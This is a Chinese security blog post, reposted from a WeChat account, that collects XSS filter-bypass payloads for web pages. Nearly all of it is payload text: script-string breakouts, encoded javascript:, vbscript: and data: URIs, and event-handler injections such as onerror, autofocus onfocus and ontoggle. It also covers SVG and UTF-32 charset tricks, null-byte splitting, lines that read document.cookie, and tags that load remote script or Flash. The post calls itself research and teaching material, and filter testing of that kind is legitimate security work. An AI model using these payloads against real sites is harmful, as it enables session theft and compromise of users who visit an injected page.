实用XSS过滤绕过

admin 2024年12月10日17:42:56评论3 views字数 5199阅读17分19秒阅读模式

过滤测试

尝试插入比较正常的HTML标签,查看标签被过滤情况

尝试插入不闭合的标签,查看标签情况

然后测试几个XSS的payload,写入常见的几个语句,查看过滤的情况

<script>,aleret,prompt,confirm,javascript,href,onmouseover,onclimbatree,<a href>src等等

尝试把过滤的关键词进行大小写,双写,最后编码进行查看,找出可绕过方式

示例

输入在script标签中

<script>Var x="Input";</script>

可控位置在Input,可以闭合script标签插入代码,但是同样我们仅仅闭合双引号就可以执行js代码了、

";alert(1)//

最终结果就是

<script>Var x="";alert(1)//</script>

非常规的事件监听   

例如:

";document.body.addEventListener("DOMActivate",alert(1))//";document.body.addEventListener("DOMActivate",prompt(1))//";document.body.addEventListener("DOMActivate",confirm(1))//

下面是一些相同的类:

DOMAttrModifiedDOMCharacterDataModifiedDOMFocusInDOMFocusOutDOMMouseScrollDOMNodeInsertedDOMNodeInsertedIntoDocumentDOMNodeRemovedDOMNodeRemovedFromDocumentDOMSubtreeModified

HREF内容可控

注:参考[[xss过滤绕过#编码规则]]
例如:

<a href="Userinput">Click</a>

可控的是Userinput那里我们需要做的只是把javascript代码输入就好了:

javascript:alert(1)//

最后组合为:

<a href="javascript:alert(1)//">Click</a>

变换

使用HTML实体URL编码绕过黑名单,href里会自动实体解码,如果都失败了,可以尝试使用vbscript在IE10以下都有效,或者使用data协议。

JavaScript变换

使用javascript协议时可使用的例子:

javascript&#00058;alert(1)javaSCRIPT&colon;alert(1)JaVaScRipT:alert(1)javas&Tab;cript:u0061lert(1);javascript:u0061lert&#x28;1&#x29javascript&#x3A;alert&lpar;document&period;cookie&rpar;

Vbscript变换

vbscript:alert(1);vbscript&#00058;alert(1);vbscr&Tab;ipt:alert(1)"Data URldata:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==

输入在属性里

注:配合[[xss过滤绕过#^5c9c9b]]

<input value="XSStest" type=text>

可控位置为XSStest,可以使用

"><img src=x onerror=prompt(0);>

如果< >被过滤的话可以换成

" autofocus onfocus=alert(1)//

同样还有很多其他的payload:

"οnmοuseοver=" prompt(0)x=""οnfοcusin=alert(1) autofocusx="" οnfοcusοut=alert(1) autofocus x=""οnblur=alert(1) autofocusa="

JSON

当你的输入会在encodeURIComponent当中显示出来的时候,很容易插入xss代码了

encodeURIComponent('userinput')

userinput处可控,测试代码:

-alert(1)--prompt(1)--confirm(1)-

最终结果:

encodeURIComponent("-alert(1)-")encodeURIComponent("-prompt(1)-")

SVG标签

当返回结果在svg标签中的时候,会有一个特性

<svg><script>varmyvar="YourInput";</script></svg>

YourInput可控,输入

www.site.com/test.php?var=text";alert(1)//

如果把"编码一些他仍然能够执行:

<svg><script>varmyvar="text&quot;;alert(1)//";</script></svg>

浏览器bug

字符集的bug在IE中出现过很多次,第一个就是UTF-7,但是这个只在之前的版本中可用,现在讨论一个在现在的浏览器当中可以执行的javascript。

http://xsst.sinaapp.com/utf-32-1.php?charset=utf-8&v=XSS

这个页面当中我们可控当前页面的字符集,当我们常规的测试时:

http://xsst.sinaapp.com/utf-32-1.php?charset=utf-8&v="><img src=x onerror=prompt(0);>

返回结果可以看到双引号被编码了:

<html><meta charset="utf-8"></meta><body><input type="text" value="&quot;&gt;&lt;img src=x onerror=prompt(0);&gt;"></input></body></html> 

设置字符集为UTF-32:

http://xsst.sinaapp.com/utf-32-1.php?charset=utf-32&v=%E2%88%80%E3%B8%80%E3%B0%80script%E3%B8%80alert(1)%E3%B0%80/script%E3%B8%80

上面这个在IE9及以下版本可以执行成功。

利用0字节绕过:

<scri%00pt>alert(1);</scri%00pt><scrix00pt>alert(1);</scri%00pt><s%00c%00r%00%00ip%00t>confirm(0);</s%00c%00r%00%00ip%00t>

常见标签

<scirpt>

<scirpt>alert("xss");</script>

<img>

<img src=1 onerror=alert("xss");>

竞争焦点,从而触发onblur事件

<input onblur=alert("xss") autofocus><input autofocus>

通过autofocus属性执行本身的focus事件,这个向量是使焦点自动跳到输入元素上,触发焦点事件,无需用户去触发

<input onfocus="alert('xss');" autofocus>

<details>

<details ontoggle="alert('xss');">

使用open属性触发ontoggle事件,无需用户去触发

<details open ontoggle="alert('xss');">

利用link远程包含js文件

PS:在无CSP的情况下才可以

link

<link rel=import href="http://127.0.0.1/1.js">

javascript伪协议

<a>标签

[xss](javascript:alert(`xss`);)

<iframe>标签

<iframe src=javascript:alert('xss');></iframe>

<img>标签

<img src=javascript:alert('xss')>//IE7以下

<form>标签

<form action="Javascript:alert(1)"><input type=submit>

属性

expression属性

<img style="xss:expression(alert('xss''))"> // IE7以下<div style="color:rgb(''&#0;x:expression(alert(1))"></div> // IE7以下<style>#test{x:expression(alert(/XSS/))}</style> // IE7以下

background属性

<table background=javascript:alert(1)></table> //在Opera 10.5和IE6上有效

Src属性

<img src=x onerror=prompt(1);><img/src=aaa.jpg onerror=prompt(1);> <video src=x onerror=prompt(1);><audio src=x onerror=prompt(1);>

action属性
利用<form,<isindex等标签中的action属性执行javascript

<form action="Javascript:alert(1)"><input type=submit><isindex action="javascript:alert(1)" type=image><isindex action=j&Tab;a&Tab;vas&Tab;c&Tab;r&Tab;ipt:alert(1) type=image><isindex action=data:text/html, type=image><formaction='data:text&sol;html,&lt;script&gt;alert(1)&lt/script&gt'><button>CLICK

formaction属性

<isindexformaction="javascript:alert(1)" type=image><input type="image" formaction=JaVaScript:alert(0)><form><button formaction=javascript&colon;alert(1)>CLICKME

poster属性

<video poster=javascript:alert(1)//></video> // Opera 10.5以下有效

data属性

<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4="><object/data=//goo.gl/nlX0P?

code属性

<applet code="javascript:confirm(document.cookie);"> // Firefox有效<embed code="http://businessinfo.co.uk/labs/xss/xss.swf" allowscriptaccess=always>

事件触发

<svg/onload=prompt(1);><marquee/onstart=confirm(2)>/<body onload=prompt(1);><select autofocus onfocus=alert(1)><textarea autofocus onfocus=alert(1)><keygen autofocus onfocus=alert(1)><video><source onerror="javascript:alert(1)">

嵌套

<svg/onload=prompt(1);><marquee/onstart=confirm(2)>/<body onload=prompt(1);><select autofocus onfocus=alert(1)><textarea autofocus onfocus=alert(1)><keygen autofocus onfocus=alert(1)><video><source onerror="javascript:alert(1)">

location属性

<a onmouseover=location='javascript:alert(1)'>click<body onfocus="loaction='javascript:alert(1)'">123

原文始发于微信公众号(TOP网络安全):实用XSS过滤绕过

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年12月10日17:42:56
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   实用XSS过滤绕过http://cn-sec.com/archives/2491113.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息